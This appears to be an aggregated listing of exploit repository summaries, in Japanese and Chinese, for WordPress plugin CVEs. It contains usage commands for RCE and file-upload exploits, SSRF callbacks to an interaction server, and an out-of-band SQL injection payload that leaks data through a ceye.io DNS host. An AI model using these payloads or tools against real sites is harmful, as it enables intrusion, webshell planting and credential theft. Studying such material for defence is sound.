SSI-CVE-2022-21661

SSI-CVE-2022-21661 情報システムセキュリティ 第2課題 CVE-2022-21661 は、5.8.3 より前の WordPress へのプラグインの POST リクエストを通じて SQL インジェクションを可能にする脆弱性です。この脆弱性を調査し、悪用します。 環境の設定 環境の起動と設定は、次のコマンドを実行するだけです。 docker-compose run --rm wordpress-cli 要件 Docker Docker-Compose Python 3.9+ Argparser Hashcat サンプルの実行 example.md...

CVE-2022-0169

CVE-2022-0169 — WordPress Photo Gallery SQLi PoC これは、WordPress Photo GalleryプラグインのSQLインジェクション脆弱性であるCVE-2022-0169 のためのシンプルなPython proof-of-concept（PoC）です。 機能 WordPressのバージョンを確認（可能な場合） 脆弱なadmin-ajax.phpエンドポイントを悪用 wpusersのユーザー名とパスワードハッシュをダンプ タイムスタンプ付きのフォルダに結果を保存 必要に応じてhashcatでクラックするかどうかプロンプト表示...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE CVE-2024-2961 および CVE-2023–26326 を悪用して RCE を達成する 使用方法 git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port 分析と技術的詳細 私のブログ記事をご覧ください POC...

CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - 任意ファイル読み取り 🔥 脆弱性の概要 WordPressプラグイン File Away バージョン = 3.9.9.0.1 には、認証なしの任意ファイル読み取りの脆弱性があります。 これにより、攻撃者はプラグインのAJAXエンドポイントへの巧妙に細工されたリクエストを通じて、wp-config.php などのサーバー上の任意のファイルを読み取ることができます。 この脆弱性は、admin-ajax.php 経由で fileaway-stats...

CVE-2026-18143

CVE-2026-18143 — Request a Quote for WooCommerce Addify 任意ファイルアップロード Request a Quote for WooCommercewoocommerce-request-a-quote、Addify / WooCommerce.comにおける CVE-2026-18143 のPython 3 PoCです。 説明 PoCbit / GitHub CVE-2026-18143 — Request a Quote for WooCommerce ≤ 2.9.2 は、afrfqsubmitquoteviapopup を介した...

CVE-2022-1386

CVE-2022-1386 - Fusion Builder 3.6.2 - 未认证SSRF 描述 Fusion Builder 是一个 WordPress 插件，允许用户使用拖放界面创建和编辑页面。它存在一个未认证的 SSRF 漏洞，攻击者可以利用此漏洞读取服务器上的任意文件。 概念验证 请求： POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:98.0 Gecko/20100101 Firefox/98.0...

CVE-2022-1386-FusionBuilder-SSRF

CVE-2022-1386 – Fusion Builder 例: python3 exploitcve20221386.py https://vulnerable.site https://abc123.oast.fun Interact.shまたはBurp Collaboratorを使用してコールバックを受信します。 📋 出力例 Fetching nonce from target... Sending SSRF payload to https://abc123.oast.fun... + SSRF confirmed: received callback from victim...

CVE-2026-27540

🌐 Language / Dil 📌 概要 WooCommerce Wholesale Lead Capture WWLC — 認証不要のファイルアップロード → RCE | ---|--- 製品| WooCommerce Wholesale Lead Capture — wwlc プラグイン バージョン| ≤ 2.0.3.1 修正済み| 2.0.3.2+ — アップロードハンドラが保護済み 認証| 認証不要 ベクター| admin-ajax.php?action=wwlcfileuploadhandler フィールド| file multipart upload 書き込み先|...

CVE-2022-28590

CVE-2022-28590 元の発見と手動 PoC は tuando243 によるものです。 Pixelimity 1.0 には、admin/admin-ajax.php?action=installtheme を介したリモートコード実行 RCE の脆弱性が存在します。 この PoC は、さらなるリモートコード実行のためにシンプルなウェブシェルをアップロードします。このエクスプロイトは、サーバー上で system 関数が許可されていることを前提としています。許可されていない場合は、system 以外のどの関数が実行を許可しているかを検出するために、事前の調査が必要です。 インストール...

typehub-exploiter

typehub-exploiter GILANG - CVE-2021-25094 のエクスプロイター 参照 : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ ペイロード : site.com/wp-admin/admin-ajax.php バグのパス : site.com/wp-content/uploads/typehub/custom/ 感謝 : Ibnudz, Dark clown security 挨拶 : Garuda Tersakti 72. Buitenzorg...

CVE-2024-2961-Remote-File-Read

CVE-2024-2961 リモートファイル読み取り このスクリプトは、CVE-2024-2961 に記載されているように、iconv ライブラリが文字エンコーディング変換を誤って処理するシステムの脆弱性を悪用する方法を示しています。これにより、攻撃者は PHP フィルタチェーンと不適切なエンコーディング処理を利用して、サーバー上の任意のファイルを読み取ることができます。 このスクリプトは、細工されたペイロードのアップロード、生成されたファイルの取得、およびその内容の表示のプロセスを自動化します。これは、次の記事で詳述されている研究に基づいています：Iconv...

CVE-2026-89055

CVE-2026-89055 — Customer Reviews for WooCommerce CusRev 認可バイパス Customer Reviews for WooCommerce （customer-reviews-woocommerce / Ivole CusRev）における CVE-2026-89055 の Python 3 PoC。 説明 PoCbit / GitHub CVE-2026-89055 — Customer Reviews for WooCommerce CusRev ≤ 5.120.0 は、公開されている ローカルレビューフォーム の AJAX...

CVE-2026-1729-PoC-AdForest-WordPress-Authentication-Bypass

CVE-2026-1729 - AdForest WordPress 認証バイパス PoC 説明 CVE-2026-1729 PoC のシンプルな Proof of Concept - AdForest WordPress テーマの認証バイパス脆弱性。 著者: f3ds cr3w est 2oo2 blog 特徴 ✅ 認証なしで管理者アクセス ✅ 本番 WordPress 環境で動作 ✅ Docker のセットアップは不要 ✅ シンプルなコマンドラインインターフェース ✅ セッションの永続化 必要条件 Python 3.6+ requests ライブラリ インストール pip insta...

CVE-2024-3673

CVE-2024-3673 CVE-2024-3673 エクスプロイト: Web Directory Free WordPress プラグインにおけるローカルファイルインクルード（1.7.3 より前） 概要 CVE-2024-3673 は、Web Directory Free WordPress プラグイン（1.7.3 より前のバージョン）における重大な脆弱性を説明しています。このプラグインは、include...

CVE-2024-6244

🚀 pz-frontend-manager -U -p -i usage: p.py -h --url URL --username USERNAME --password PASSWORD --image IMAGE pz-frontend-manager = 1.0.5 - CSRF change user profile picture options: -h, --help show this help message and exit --url URL, -u URL Base URL of the WordPress site --username USERNAME, -U...

CVE-2024-33911

The School Management 10.3.4 - 認証後SQLインジェクション エクスプロイトタイトル: The School Management 10.3.4 - 認証後SQLインジェクション 日付: 2024年4月29日 エクスプロイト作者: Ivan Spiridonov xbz0n ベンダーホームページ: https://theschool-management.com バージョン: 10.3.4 テスト環境: Ubuntu 22.04 CVE: CVE-2024-33911 脆弱性 The School...

CVE-2022-21661

WordPress CVE-2022-21661 スキャナー 使い方 python wordpressscanner.py -H -p -ssl -proxy -path ヘルプ WordPress Scanner for CVE-2022-21661 options: -h, --help show this help message and exit -H HOST, --host HOST Host or IP address -p PORT, --port PORT Port number -ssl, --sslsupport Support SSL/TLS -proxy...

cve-2025-1323

cve-2025-1323 WP-Recall Plugin SQLインジェクション ⚠️ 法的免責事項 本ツールは、許可されたセキュリティテストおよび教育目的のみ を対象としています。 明示的な許可なくシステムに対して使用しないでください。誤用は違法となる可能性があります。 ✅ 要件 Python 3.x requests モジュール 依存関係をインストール: pip install requests python CVE-2025-1323.py Enter target URL e.g. https://target.com/wp-admin/admin-ajax.php:...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 パス：http://your target/wp-admin/admin-ajax.php インジェクションタイプはout-of-bandです。dnslogを自分で指定し、ceye.ioを置き換える必要があります。 POST データ："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select version,'.27s601.ceye.io\abc',1,1-- a"...

CVE-2026-6433

CVE-2026-6433 — 概念実証 FlipperCode — Custom CSS, JS & PHP · 認証不要の SQLインジェクション → RCE eval経由 影響を受ける: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · WordPressプラグインの表面はadmin-ajax.php経由 概要 項目| 詳細 ---|--- ベクター| プラグインのAJAXアクションを通じてトンネリングされた認証不要のSQLインジェクション 影響|...